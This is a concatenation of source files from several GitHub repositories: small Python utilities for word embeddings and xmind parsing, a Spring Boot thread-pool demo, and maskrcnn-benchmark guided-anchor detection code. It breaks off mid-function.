** 2 # 计算残差平方和 loss = loss + error cur_iterations += 1 # print("count:", cur_iterations) print("theta:", theta_params) print("loss:", loss) print("count:", cur_iterations) ``` test_embeding.py ```from gensim.models import Word2Vec from gensim.models.keyedvectors import KeyedVectors model_path = "E:\\Tencent_AILab_ChineseEmbedding\\head_10w.txt" # model = Word2Vec.load(model_path) # model = Word2Vec.load_word2vec_format(model_path) model = KeyedVectors.load_word2vec_format(model_path) # model.save("word2vec.model") # model.update_vocab(new_sentences) # model.train(new_sentences) # model.save("updated_model") print(model.syn0.shape) top10 = model.similar_by_word("链家") print(top10) ``` xmind_parse.py ```from xmindparser import xmind_to_json import json def convert_xmind2json(in_xmind_file): # save JSON to the save path of in_xmind_file # but the context of CN is Unicode out_file = xmind_to_json(in_xmind_file) print(out_file) with open(out_file, 'r') as f: unicode_content = f.read() print(unicode_content) # convert to CN normal_json = json.loads(unicode_content, encoding='utf-8') print(normal_json) with open("normal.json", 'w') as w_f: w_f.write(json.dumps(normal_json, ensure_ascii=False)) if __name__ == '__main__': xmind_file = 'C:\\Users\\DELL\\Documents\\WeChat Files\\zengxijin\\Files\\智能推荐0219.xmind' convert_xmind2json(xmind_file) ```
zengzengxin/threadpool
zengzengxin/threadpool Threadpool.java ```package com.zzx.threadpool.config; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.stereotype.Component; import java.util.concurrent.ArrayBlockingQueue; import java.util.concurrent.ThreadPoolExecutor; import java.util.concurrent.TimeUnit; @Configuration @Component public class Threadpool { @Bean public ThreadPoolExecutor addThreadPoolExecutor(){ ArrayBlockingQueue<Runnable> queue = new ArrayBlockingQueue<Runnable>(1500); return new ThreadPoolExecutor(5, 10, 200, TimeUnit.MILLISECONDS, queue); } } ``` MessageTask.java ```package com.zzx.threadpool.task; import com.zzx.threadpool.entity.Message; public class MessageTask implements Runnable{ private Message message; private int ticket = 1000; public MessageTask(Message msg){ this.message = msg; } public void run(){ System.out.println(ticket--); if (ticket == 20){ int i = 1/0; } } } ``` ThreadpoolApplicationTests.java ```package com.zzx.threadpool; import org.springframework.boot.test.context.SpringBootTest; @SpringBootTest class ThreadpoolApplicationTests { } ``` ThreadPoolTest.java ```package com.zzx.threadpool.ctrl; import com.zzx.threadpool.entity.Message; import com.zzx.threadpool.entity.MessageMapper; import com.zzx.threadpool.task.MessageTask; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import javax.annotation.Resource; import java.util.concurrent.ThreadPoolExecutor; @RestController @RequestMapping("sendMessage") public class ThreadPoolTest { @Autowired ThreadPoolExecutor myThreadPool; @Resource MessageMapper courseMapper; private int messageNum = 1000; Message ms = new Message("1:","回家啊过的机会噶机会是快递","asdassdasdasdasda"); MessageTask msg = new MessageTask(ms); @GetMapping public String sendMessage(){ courseMapper.insert(ms); for (int i = 0; i <messageNum ; i++) { myThreadPool.execute(msg); } return "消息推送成功"; } } ``` Message.java ```package com.zzx.threadpool.entity; public class Message { private String id; private String tittle; private String body; public Message(String id, String tittle, String body) { this.id = id; this.tittle = tittle; this.body = body; } public String getId() { return id; } public void setId(String id) { this.id = id; } public String getTittle() { return tittle; } public void setTittle(String tittle) { this.tittle = tittle; } public String getBody() { return body; } public void setBody(String body) { this.body = body; } } ``` MessageMapper.java ```package com.zzx.threadpool.entity; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import org.apache.ibatis.annotations.Mapper; import org.springframework.stereotype.Component; import org.springframework.stereotype.Service; import java.util.List; /** * Author: huanglp * Date: 2018-12-11 */ @Mapper public interface MessageMapper extends BaseMapper<Message> { } ```
zengzhaoyang/maskrcnn-benchmark
zengzhaoyang/maskrcnn-benchmark utils.py ```# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. """ Utility functions minipulating the prediction layers """ from ..utils import cat import torch def permute_and_flatten(layer, N, A, C, H, W): layer = layer.view(N, -1, C, H, W) layer = layer.permute(0, 3, 4, 1, 2) layer = layer.reshape(N, -1, C) return layer def concat_box_prediction_layers(box_cls, box_regression): box_cls_flattened = [] box_regression_flattened = [] # for each feature level, permute the outputs to make them be in the # same format as the labels. Note that the labels are computed for # all feature levels concatenated, so we keep the same representation # for the objectness and the box_regression for box_cls_per_level, box_regression_per_level in zip( box_cls, box_regression ): N, AxC, H, W = box_cls_per_level.shape Ax4 = box_regression_per_level.shape[1] A = Ax4 // 4 C = AxC // A box_cls_per_level = permute_and_flatten( box_cls_per_level, N, A, C, H, W ) box_cls_flattened.append(box_cls_per_level) box_regression_per_level = permute_and_flatten( box_regression_per_level, N, A, 4, H, W ) box_regression_flattened.append(box_regression_per_level) # concatenate on the first dimension (representing the feature levels), to # take into account the way the labels were generated (with all feature maps # being concatenated as well) box_cls = cat(box_cls_flattened, dim=1).reshape(-1, C) box_regression = cat(box_regression_flattened, dim=1).reshape(-1, 4) return box_cls, box_regression def concat_locs(locs, locs_target, locs_weight): locs_flattened = [] locs_target_flattened = [] locs_weight_flattened = [] for locs_per_level, locs_target_per_level, locs_weight_per_level in zip(locs, locs_target, locs_weight): N, C, H, W = locs_per_level.shape locs_per_level = permute_and_flatten( locs_per_level, N, 1, C, H, W ) locs_target_per_level = permute_and_flatten( locs_target_per_level, N, 1, C, H, W ) locs_weight_per_level = permute_and_flatten( locs_weight_per_level, N, 1, C, H, W ) locs_flattened.append(locs_per_level) locs_target_flattened.append(locs_target_per_level) locs_weight_flattened.append(locs_weight_per_level) locs = cat(locs_flattened, dim=1).reshape(-1, C) locs_target = cat(locs_target_flattened, dim=1).reshape(-1, C) locs_weight = cat(locs_weight_flattened, dim=1).reshape(-1, C) return locs, locs_target, locs_weight def concat_shapes(shapes): shapes_flattened = [] for shapes_per_level in shapes: N, C, H, W = shapes_per_level.shape shapes_per_level = permute_and_flatten( shapes_per_level, N, 1, C, H, W ) shapes_flattened.append(shapes_per_level) shapes = cat(shapes_flattened, dim=1).reshape(-1, C) shapes_0 = torch.zeros_like(shapes) shapes = torch.cat([shapes_0, shapes], dim=1) return shapes ``` ga_anchor_generator.py ```# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. import math import numpy as np import torch from torch import nn from maskrcnn_benchmark.structures.bounding_box import BoxList from maskrcnn_benchmark.modeling.box_coder import BoxCoder class BufferList(nn.Module): """ Similar to nn.ParameterList, but for buffers """ def __init__(self, buffers=None): super(BufferList, self).__init__() if buffers is not None: self.extend(buffers) def extend(self, buffers): offset = len(self) for i, buffer in enumerate(buffers): self.register_buffer(str(offset + i), buffer) return self def __len__(self): return len(self._buffers) def __iter__(self): return iter(self._buffers.values()) class GAnchorGenerator(nn.Module): """ For a set of image sizes and feature maps, computes a set of anchors """ def __init__( self, aspect_ratios=(0.5, 1.0, 2.0), anchor_strides=(4, 8, 16, 32, 64), straddle_thresh=0, octave_base_scale=8, scales_per_octave=3, anchor_weights=(10., 10., 5., 5.), loc_filter_thr=0.01 ): super(GAnchorGenerator, self).__init__() if len(anchor_strides) == 1: anchor_stride = anchor_strides[0] approx_sizes = [octave_base_scale * 2**(i * 1.0 / scales_per_octave) * anchor_stride for i in range(scales_per_octave)] approx_anchors = [ generate_anchors(anchor_stride, approx_sizes, aspect_ratios).float() ] square_anchors = [ generate_anchors(anchor_stride, [octave_base_scale * anchor_stride], [1.0]).float() ] else: approx_anchors = [ generate_anchors( anchor_stride, [octave_base_scale * 2**(i * 1.0 / scales_per_octave) * anchor_stride for i in range(scales_per_octave)], aspect_ratios ).float() for anchor_stride in anchor_strides ] square_anchors = [ generate_anchors( anchor_stride, [octave_base_scale * anchor_stride], [1.0], ).float() for anchor_stride in anchor_strides ] self.strides = anchor_strides self.approx_anchors = BufferList(approx_anchors) self.square_anchors = BufferList(square_anchors) self.straddle_thresh = straddle_thresh self.anchor_box_coder = BoxCoder(weights=anchor_weights) self.loc_filter_thr = loc_filter_thr def num_approx_anchors_per_location(self): return [len(approx_anchors) for approx_anchors in self.approx_anchors] def grid_square_anchors(self, grid_sizes): anchors = [] for size, stride, base_anchors in zip( grid_sizes, self.strides, self.square_anchors ): grid_height, grid_width = size device = base_anchors.device shifts_x = torch.arange( 0, grid_width * stride, step=stride, dtype=torch.float32, device=device ) shifts_y = torch.arange( 0, grid_height * stride, step=stride, dtype=torch.float32, device=device ) shift_y, shift_x = torch.meshgrid(shifts_y, shifts_x) shift_x = shift_x.reshape(-1) shift_y = shift_y.reshape(-1) shifts = torch.stack((shift_x, shift_y, shift_x, shift_y), dim=1) anchors.append( (shifts.view(-1, 1, 4) + base_anchors.view(1, -1, 4)).reshape(-1, 4) ) return anchors def grid_approx_anchors(self, grid_sizes): anchors = [] for size, stride, base_anchors in zip( grid_sizes, self.strides, self.approx_anchors ): grid_height, grid_width = size device = base_anchors.device shifts_x = torch.arange( 0, grid_width * stride, step=stride, dtype=torch.float32, device=device ) shifts_y = torch.arange( 0, grid_height * stride, step=stride, dtype=torch.float32, device=device ) shift_y, shift_x = torch.meshgrid(shifts_y, shifts_x) shift_x = shift_x.reshape(-1) shift_y = shift_y.reshape(-1) shifts = torch.stack((shift_x, shift_y, shift_x, shift_y), dim=1) anchors.append( (shifts.view(-1, 1, 4) + base_anchors.view(1, -1, 4)).reshape(-1, 4) ) return anchors def add_visibility_to(self, boxlist): image_width, image_height = boxlist.size anchors = boxlist.bbox if self.straddle_thresh >= 0: inds_inside = ( (anchors[..., 0] >= -self.straddle_thresh) & (anchors[..., 1] >= -self.straddle_thresh) & (anchors[..., 2] < image_width + self.straddle_thresh) & (anchors[..., 3] < image_height + self.straddle_thresh) ) else: device = anchors.device inds_inside = torch.ones(anchors.shape[0], dtype=torch.uint8, device=device) boxlist.add_field("visibility", inds_inside) def forward(self, image_list, feature_maps, shapes, locs): grid_sizes = [feature_map.shape[-2:] for feature_map in feature_maps] num_levels = len(feature_maps) square_anchors_over_all_feature_maps = self.grid_square_anchors(grid_sizes) square_anchors = [] for i, (image_height, image_width) in enumerate(image_list.image_sizes): square_anchors_in_image = [] for square_anchors_per_feature_map in square_anchors_over_all_feature_maps: boxlist = BoxList( square_anchors_per_feature_map, (image_width, image_height), mode="xyxy" ) self.add_visibility_to(boxlist) square_anchors_in_image.append(boxlist) square_anchors.append(square_anchors_in_image) guided_anchors = [] loc_masks = [] for img_id, (image_height, image_width) in enumerate(image_list.image_sizes): guided_anchors_in_image = [] loc_mask_in_image = [] for i in range(num_levels): squares = square_anchors[img_id][i] shape_pred = shapes[i][img_id] loc_pred = locs[i][img_id] guide_anchors_single, loc_mask_single = self.get_guided_anchors( squares, shape_pred, loc_pred, use_loc_filter=not self.training ) guide_anchors_single = BoxList( guide_anchors_single, (image_width, image_height), mode="xyxy" ) self.add_visibility_to(guide_anchors_single) guided_anchors_in_image.append(guide_anchors_single) loc_mask_in_image.append(loc_mask_single) guided_anchors.append(guided_anchors_in_image) loc_masks.append(loc_mask_in_image) return square_anchors, guided_anchors, loc_masks def get_guided_anchors(self, squares, shape_pred, loc_pred, use_loc_filter=False): loc_pred = loc_pred.sigmoid().detach() if use_loc_filter: loc_mask = loc_pred >= self.loc_filter_thr else: loc_mask = loc_pred >= 0 mask = loc_mask.permute(1, 2, 0).expand(-1, -1, 1) mask = mask.contiguous().view(-1) squares = squares[mask] anchor_deltas = shape_pred.permute(1, 2, 0).contiguous().view(-1, 2).detach()[mask] bbox_deltas = anchor_deltas.new_full(squares.bbox.size(), 0) bbox_deltas[:, 2:] = anchor_deltas guided_anchors = self.anchor_box_coder.decode( bbox_deltas, squares.bbox ) return guided_anchors, mask def get_sampled_approxs(self, image_list, feature_maps): grid_sizes = [feature_map.shape[-2:] for feature_map in feature_maps] approx_anchors_over_all_feature_maps = self.grid_approx_anchors(grid_sizes) approx_anchors = [] for i, (image_height, image_width) in enumerate(image_list.image_sizes): approx_anchors_in_image = [] for approx_anchors_per_feature_map in approx_anchors_over_all_feature_maps: boxlist = BoxList( approx_anchors_per_feature_map, (image_width, image_height), mode="xyxy" ) self.add_visibility_to(boxlist) approx_anchors_in_image.append(boxlist) approx_anchors.append(approx_anchors_in_image) return approx_anchors def make_ga_anchor_generator(config): aspect_ratios = config.MODEL.RPN.GA.ASPECT_RATIOS anchor_stride = config.MODEL.RPN.GA.ANCHOR_STRIDE straddle_thresh = config.MODEL.RPN.STRADDLE_THRESH octave_base_scale = config.MODEL.RPN.GA.OCTAVE_BASE_SCALE scales_per_octave = config.MODEL.RPN.GA.SCALES_PER_OCTAVE anchor_weights = config.MODEL.RPN.GA.ANCHOR_WEIGHTS loc_filter_thr = config.MODEL.RPN.GA.LOC_FILTER_THR #if config.MODEL.RPN.USE_FPN: # assert len(anchor_stride) == len( # anchor_sizes # ), "FPN should have len(ANCHOR_STRIDE) == len(ANCHOR_SIZES)" #else: # assert len(anchor_stride) == 1, "Non-FPN should have a single ANCHOR_STRIDE" anchor_generator = GAnchorGenerator( aspect_ratios, anchor_stride, straddle_thresh, octave_base_scale, scales_per_octave, anchor_weights, loc_filter_thr ) return anchor_generator # Copyright (c) 2017-present, Facebook, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. ############################################################################## # # Based on: # -------------------------------------------------------- # Faster R-CNN # Copyright (c) 2015 Microsoft # Licensed under The MIT License [see LICENSE for details] # Written by Ross Girshick and Sean Bell # -------------------------------------------------------- # Verify that we compute the same anchors as Shaoqing's matlab implementation: # # >> load output/rpn_cachedir/faster_rcnn_VOC2007_ZF_stage1_rpn/anchors.mat # >> anchors # # anchors = # # -83 -39 100 56 # -175 -87 192 104 # -359 -183 376 200 # -55 -55 72 72 # -119 -119 136 136 # -247 -247 264 264 # -35 -79 52 96 # -79 -167 96 184 # -167 -343 184 360 # array([[ -83., -39., 100., 56.], # [-175., -87., 192., 104.], # [-359., -183., 376., 200.], # [ -55., -55., 72., 72.], # [-119., -119., 136., 136.], # [-247., -247., 264., 264.], # [ -35., -79., 52., 96.], # [ -79., -167., 96., 184.], # [-167., -343., 184., 360.]]) def generate_anchors( stride=16, sizes=(32, 64, 128, 256, 512), aspect_ratios=(0.5, 1, 2) ): """Generates a matrix of anchor boxes in (x1, y1, x2, y2) format. Anchors are centered on stride / 2, have (approximate) sqrt areas of the specified sizes, and aspect ratios as given. """ return _generate_anchors( stride, np.array(sizes, dtype=np.float) / stride, np.array(aspect_ratios, dtype=np.float), ) def _generate_anchors(base_size, scales, aspect_ratios): """Generate anchor (reference) windows by enumerating aspect ratios X scales wrt a reference (0, 0, base_size - 1, base_size - 1) window. """ anchor = np.array([1, 1, base_size, base_size], dtype=np.float) - 1 anchors = _ratio_enum(anchor, aspect_ratios) anchors = np.vstack( [_scale_enum(anchors[i, :], scales) for i in range(anchors.shape[0])] ) return torch.from_numpy(anchors) def _whctrs(anchor): """Return width, height, x center, and y center for an anchor (window).""" w = anchor[2] - anchor[0] + 1 h = anchor[3] - anchor[1] + 1 x_ctr = anchor[0] + 0.5 * (w - 1) y_ctr = anchor[1] + 0.5 * (h - 1) return w, h, x_ctr, y_ctr def _mkanchors(ws, hs, x_ctr, y_ctr): """Given a vector of widths (ws) and heights (hs) around a center (x_ctr, y_ctr), output a set of anchors (windows). """ ws = ws[:, np.newaxis] hs = hs[:, np.newaxis] anchors = np.hstack( ( x_ctr - 0.5 * (ws - 1), y_ctr - 0.5 * (hs - 1), x_ctr + 0.5 * (ws - 1), y_ctr + 0.5 * (hs - 1), ) ) return anchors def _ratio_enum(anchor, ratios): """Enumerate a set of anchors for each aspect ratio wrt an anchor.""" w, h, x_ctr, y_ctr = _whctrs(anchor) size = w * h size_ratios = size / ratios ws = np.round(np.sqrt(size_ratios)) hs = np.round(ws * ratios) anchors = _mkanchors(ws, hs, x_ctr, y_ctr) return anchors def _scale_enum(anchor, scales): """Enumerate a set of anchors for each scale wrt an anchor.""" w, h, x_ctr, y_ctr = _whctrs(anchor) ws = w * scales hs = h * scales anchors = _mkanchors(ws, hs, x_ctr, y_ctr) return anchors ``` smooth_l1_loss.py ```# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. import torch import numpy as np # TODO maybe push this to nn? def smooth_l1_loss(input, target, beta=1. / 9, size_average=True): """ very similar to the smooth_l1_loss from pytorch, but with the extra beta parameter """ n = torch.abs(input - target) cond = n < beta loss = torch.where(cond, 0.5 * n ** 2 / beta, n - 0.5 * beta) if size_average: return loss.mean() return loss.sum() def balanced_l1_loss(input, target, alpha=0.5, gamma=1.5, beta=1. / 9, size_average=True): n = torch.abs(input - target) cond = n < beta b = np.e**(gamma / alpha) - 1 loss = torch.where(cond, alpha / b * (b * n + 1) * torch.log(b * n / beta + 1) - alpha * n, gamma * n + gamma / b - alpha * beta) if size_average: return loss.mean() return loss.sum() ``` balanced_positive_negative_sampler.py ```# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. import torch import numpy as np class BalancedPositiveNegativeSampler(object): """ This class samples batches, ensuring that they contain a fixed proportion of positives """ def __init__(self, batch_size_per_image, positive_fraction): """ Arguments: batch_size_per_image (int): number of elements to be selected per image positive_fraction (float): percentace of positive elements per batch """ self.batch_size_per_image = batch_size_per_image self.positive_fraction = positive_fraction def __call__(self, matched_idxs): """ Arguments: matched idxs: list of tensors containing -1, 0 or positive values. Each tensor corresponds to a specific image. -1 values are ignored, 0 are considered as negatives and > 0 as positives. Returns: pos_idx (list[tensor]) neg_idx (list[tensor]) Returns two lists of binary masks for each image. The first list contains the positive elements that were selected, and the second list the negative example. """ pos_idx = [] neg_idx = [] for matched_idxs_per_image in matched_idxs: positive = torch.nonzero(matched_idxs_per_image >= 1).squeeze(1) negative = torch.nonzero(matched_idxs_per_image == 0).squeeze(1) num_pos = int(self.batch_size_per_image * self.positive_fraction) # protect against not enough positive examples num_pos = min(positive.numel(), num_pos) num_neg = self.batch_size_per_image - num_pos # protect against not enough negative examples num_neg = min(negative.numel(), num_neg) # randomly select positive and negative examples perm1 = torch.randperm(positive.numel(), device=positive.device)[:num_pos] perm2 = torch.randperm(negative.numel(), device=negative.device)[:num_neg] pos_idx_per_image = positive[perm1] neg_idx_per_image = negative[perm2] # create binary mask from indices pos_idx_per_image_mask = torch.zeros_like( matched_idxs_per_image, dtype=torch.uint8 ) neg_idx_per_image_mask = torch.zeros_like( matched_idxs_per_image, dtype=torch.uint8 ) pos_idx_per_image_mask[pos_idx_per_image] = 1 neg_idx_per_image_mask[neg_idx_per_image] = 1 pos_idx.append(pos_idx_per_image_mask) neg_idx.append(neg_idx_per_image_mask) return pos_idx, neg_idx class IOUBalancedPositiveNegativeSampler(object): """ This class samples batches, ensuring that they contain a fixed proportion of positives """ def __init__(self, batch_size_per_image, positive_fraction, hard_thr=0.0, hard_fraction=1.0, num_intervals=3): """ Arguments: batch_size_per_image (int): number of elements to be selected per image positive_fraction (float): percentace of positive elements per batch """ self.batch_size_per_image = batch_size_per_image self.positive_fraction = positive_fraction self.hard_thr = hard_thr self.hard_fraction = hard_fraction self.num_intervals = num_intervals def __call__(self, matched_idxs, max_overlaps): """ Arguments: matched idxs: list of tensors containing -1, 0 or positive values. Each tensor corresponds to a specific image. -1 values are ignored, 0 are considered as negatives and > 0 as positives. Returns: pos_idx (list[tensor]) neg_idx (list[tensor]) Returns two lists of binary masks for each image. The first list contains the positive elements that were selected, and the second list the negative example. """ pos_idx = [] neg_idx = [] for matched_idxs_per_image, max_ovlap_per_image in zip(matched_idxs, max_overlaps): positive = torch.nonzero(matched_idxs_per_image >= 1).squeeze(1) negative = torch.nonzero(matched_idxs_per_image == 0).squeeze(1) num_pos = int(self.batch_size_per_image * self.positive_fraction) # protect against not enough positive examples num_pos = min(positive.numel(), num_pos) num_neg = self.batch_size_per_image - num_pos # protect against not enough negative examples num_neg = min(negative.numel(), num_neg) # pos sampling unique_gt_inds = matched_idxs_per_image[positive].unique() num_gts = len(unique_gt_inds) num_per_gt = int(round(num_pos / float(num_gts)) + 1) pos_idx_per_image = [] for i in unique_gt_inds: inds = torch.nonzero(matched_idxs_per_image == i.item()) if inds.numel() != 0: inds = inds.squeeze(1) else: continue if len(inds) > num_per_gt: perm = torch.randperm(inds.numel(), device=inds.device)[:num_per_gt] inds = inds[perm] pos_idx_per_image.append(inds) pos_idx_per_image = torch.cat(pos_idx_per_image) if len(pos_idx_per_image) < num_pos: num_extra = num_pos - len(pos_idx_per_image) extra_inds = np.array( list(set(positive.cpu()) - set(pos_idx_per_image.cpu()))) extra_inds = torch.from_numpy(extra_inds).to(positive.device).long() if len(extra_inds) > num_extra: perm = torch.randperm(extra_inds.numel(), device=extra_inds.device)[:num_extra] extra_inds = extra_inds[perm] pos_idx_per_image = torch.cat([pos_idx_per_image, extra_inds]) elif len(pos_idx_per_image) > num_pos: perm = torch.randperm(pos_idx_per_image.numel(), device=pos_idx_per_image.device)[:num_pos] pos_idx_per_image = pos_idx_per_image[perm] # neg sampling max_ovlap_per_image = max_ovlap_per_image.cpu().numpy() neg_set = set(negative.cpu().numpy()) easy_set = set( np.where( np.logical_and(max_ovlap_per_image >= 0, max_ovlap_per_image < self.hard_thr))[0]) hard_set = set(np.where(max_ovlap_per_image >= self.hard_thr)[0]) easy_neg_inds = list(easy_set & neg_set) hard_neg_inds = hard_set & neg_set neg_idx_per_image = [] max_iou = max_ovlap_per_image.max() iou_interval = (max_iou - self.hard_thr) / self.num_intervals per_num_neg = int(num_neg / self.num_intervals) for i in range(self.num_intervals): start_iou = self.hard_thr + i * iou_interval end_iou = self.hard_thr + (i + 1) * iou_interval tmp_set = set( np.where( np.logical_and(max_ovlap_per_image >= start_iou, max_ovlap_per_image < end_iou))[0]) tmp_inds = list(tmp_set & hard_neg_inds) tmp_inds = np.array(tmp_inds) tmp_inds = torch.from_numpy(tmp_inds).to(positive.device).long() if len(tmp_inds) > per_num_neg: perm = torch.randperm(tmp_inds.numel(), device=tmp_inds.device)[:per_num_neg] tmp_inds = tmp_inds[perm] neg_idx_per_image.append(tmp_inds) neg_idx_per_image = torch.cat(neg_idx_per_image) if len(neg_idx_per_image) < num_neg: num_extra = num_neg - len(neg_idx_per_image) extra_inds = np.array( list(set(negative.cpu()) - set(neg_idx_per_image.cpu()))) extra_inds = torch.from_numpy(extra_inds).to(positive.device).long() if len(extra_inds) > num_extra: perm = torch.randperm(extra_inds.numel(), device=extra_inds.device)[:num_extra] extra_inds = extra_inds[perm] neg_idx_per_image = torch.cat([neg_idx_per_image, extra_inds]) num_easy = num_neg - len(neg_idx_per_image) easy_neg_inds = np.array(easy_neg_inds) easy_neg_inds = torch.from_numpy(easy_neg_inds).to(positive.device).long() if len(easy_neg_inds) > num_easy: perm = torch.randperm(easy_neg_inds.numel(), device=easy_neg_inds.device)[:num_easy] easy_neg_inds = easy_neg_inds[perm] neg_idx_per_image = torch.cat([neg_idx_per_image, easy_neg_inds]) if len(neg_idx_per_image) < num_neg: num_extra = num_neg - len(neg_idx_per_image) extra_inds = np.array(list(neg_set - set(neg_idx_per_image))) extra_inds = torch.from_numpy(extra_inds).to(positive.device).long() if len(extra_inds) > num_extra: perm = randperm(extra_inds.numel(), device=extra_inds.device)[:num_extra] extra_inds = extra_inds[perm] neg_idx_per_image = torch.cat([neg_idx_per_image, extra_inds]) # randomly select positive and negative examples #perm1 = torch.randperm(positive.numel(), device=positive.device)[:num_pos] #perm2 = torch.randperm(negative.numel(), device=negative.device)[:num_neg] #pos_idx_per_image = positive[perm1] #neg_idx_per_image = negative[perm2] # create binary mask from indices pos_idx_per_image_mask = torch.zeros_like( matched_idxs_per_image, dtype=torch.uint8 ) neg_idx_per_image_mask = torch.zeros_like( matched_idxs_per_image, dtype=torch.uint8 ) pos_idx_per_image_mask[pos_idx_per_image] = 1 neg_idx_per_image_mask[neg_idx_per_image] = 1 pos_idx.append(pos_idx_per_image_mask) neg_idx.append(neg_idx_per_image_mask) return pos_idx, neg_idx ``` non_local.py ```import torch import torch.nn as nn import torch.nn.functional as F from maskrcnn_benchmark.layers import Conv2d class NonLocalBlock2D(nn.Module): def __init__(self, in_channels, conv_block, reduction=2): super(NonLocalBlock2D, self).__init__() self.in_channels = in_channels self.reduction = reduction self.inter_channels = in_channels // reduction self.g = Conv2d( self.in_channels, self.inter_channels, kernel_size=1, stride=1, padding=0, dilation=1, bias=True) self.theta = Conv2d( self.in_channels, self.inter_channels, kernel_size=1, stride=1, padding=0, dilation=1, bias=True) self.phi = Conv2d( self.in_channels, self.inter_channels, kernel_size=1, stride=1, padding=0, dilation=1, bias=True) self.conv_mask = Conv2d( self.inter_channels, self.in_channels, kernel_size=1, stride=1, padding=0, dilation=1, bias=True) nn.init.kaiming_uniform_(self.g.weight, a=1) nn.init.constant_(self.g.bias, 0) nn.init.kaiming_uniform_(self.theta.weight, a=1) nn.init.constant_(self.theta.bias, 0) nn.init.kaiming_uniform_(self.phi.weight, a=1) nn.init.constant_(self.phi.bias, 0) nn.init.constant_(self.conv_mask.weight, 0) nn.init.constant_(self.conv_mask.bias, 0) def forward(self, x): batch_size = x.size(0) g_x = self.g(x).view(batch_size, self.inter_channels, -1) g_x = g_x.permute(0, 2, 1) theta_x = self.theta(x).view(batch_size, self.inter_channels, -1) theta_x = theta_x.permute(0, 2, 1) phi_x = self.phi(x).view(batch_size, self.inter_channels, -1) map_t_p = torch.matmul(theta_x, phi_x) mask_t_p = F.softmax(map_t_p, dim=-1) map_ = torch.matmul(mask_t_p, g_x) map_ = map_.permute(0, 2, 1).contiguous() map_ = map_.view(batch_size, self.inter_channels, x.size(2), x.size(3)) mask = self.conv_mask(map_) final = mask + x return final ``` build.py ```# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. import torch from .lr_scheduler import WarmupMultiStepLR, WarmupCosineLR def make_optimizer(cfg, model): params = [] for key, value in model.named_parameters(): if not value.requires_grad: continue lr = cfg.SOLVER.BASE_LR weight_decay = cfg.SOLVER.WEIGHT_DECAY if "bias" in key: lr = cfg.SOLVER.BASE_LR * cfg.SOLVER.BIAS_LR_FACTOR weight_decay = cfg.SOLVER.WEIGHT_DECAY_BIAS if 'box2' in key or 'mask2' in key: lr *= 2 if 'box3' in key or 'mask3' in key: lr *= 4 params += [{"params": [value], "lr": lr, "weight_decay": weight_decay}] optimizer = torch.optim.SGD(params, lr, momentum=cfg.SOLVER.MOMENTUM) return optimizer def make_lr_scheduler(cfg, optimizer): if cfg.SOLVER.TYPE == 'step': return WarmupMultiStepLR( optimizer, cfg.SOLVER.STEPS, cfg.SOLVER.GAMMA, warmup_factor=cfg.SOLVER.WARMUP_FACTOR, warmup_iters=cfg.SOLVER.WARMUP_ITERS, warmup_method=cfg.SOLVER.WARMUP_METHOD, ) elif cfg.SOLVER.TYPE == 'cosine': return WarmupCosineLR( optimizer, cfg.SOLVER.MAX_ITER, warmup_factor=cfg.SOLVER.WARMUP_FACTOR, warmup_iters=cfg.SOLVER.WARMUP_ITERS, warmup_method=cfg.SOLVER.WARMUP_METHOD, ) ``` ga_rpn.py ```# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. import torch import torch.nn.functional as F from torch import nn from maskrcnn_benchmark.modeling import registry from maskrcnn_benchmark.modeling.box_coder import BoxCoder from maskrcnn_benchmark.modeling.rpn.retinanet.retinanet import build_retinanet from .loss import make_ga_rpn_loss_evaluator from .ga_anchor_generator import make_ga_anchor_generator from .inference import make_rpn_postprocessor from maskrcnn_benchmark.layers import DeformConv import numpy as np class FeatureAdaption(nn.Module): def __init__(self, in_channels, out_channels, kernel_size=3, deformable_groups=4): super(FeatureAdaption, self).__init__() offset_channels = kernel_size * kernel_size * 2 self.conv_offset = nn.Conv2d(2, deformable_groups * offset_channels, 1, bias=False) self.conv_adaption = DeformConv( in_channels, out_channels, kernel_size=kernel_size, padding=(kernel_size - 1) // 2, deformable_groups=deformable_groups) self.relu = nn.ReLU(inplace=True) torch.nn.init.normal_(self.conv_offset.weight, std=0.1) torch.nn.init.normal_(self.conv_adaption.weight, std=0.01) def forward(self, x, shape): offset = self.conv_offset(shape.detach()) x = self.relu(self.conv_adaption(x, offset)) return x @registry.RPN_HEADS.register("SingleConvGARPNHead") class GARPNHead(nn.Module): """ Adds a simple RPN Head with classification and regression heads """ def __init__(self, cfg, in_channels, num_anchors): """ Arguments: cfg : config in_channels (int): number of channels of the input feature num_anchors (int): number of anchors to be predicted """ super(GARPNHead, self).__init__() self.conv = nn.Conv2d( in_channels, in_channels, kernel_size=3, stride=1, padding=1 ) self.cls_logits = nn.Conv2d(in_channels, num_anchors, kernel_size=1, stride=1) self.bbox_pred = nn.Conv2d( in_channels, num_anchors * 4, kernel_size=1, stride=1 ) self.feature_adaption = FeatureAdaption( in_channels, in_channels, kernel_size=3, deformable_groups=cfg.MODEL.RPN.GA.DEFORMABLE_GROUPS) self.conv_loc = nn.Conv2d(in_channels, 1, 1) self.conv_shape = nn.Conv2d(in_channels, num_anchors * 2, 1) # TODO: mask conv # TODO: conv_loc init for l in [self.conv, self.cls_logits, self.bbox_pred, self.conv_shape]: torch.nn.init.normal_(l.weight, std=0.01) torch.nn.init.constant_(l.bias, 0) torch.nn.init.normal_(self.conv_loc.weight, std=0.01) torch.nn.init.constant_(self.conv_loc.bias, float(-np.log((1 - 0.01) / 0.01))) # def forward(self, x): logits = [] bbox_reg = [] locs = [] shapes = [] for feature in x: t = F.relu(self.conv(feature)) locs.append(self.conv_loc(t)) shape_pred = self.conv_shape(t) shapes.append(shape_pred) 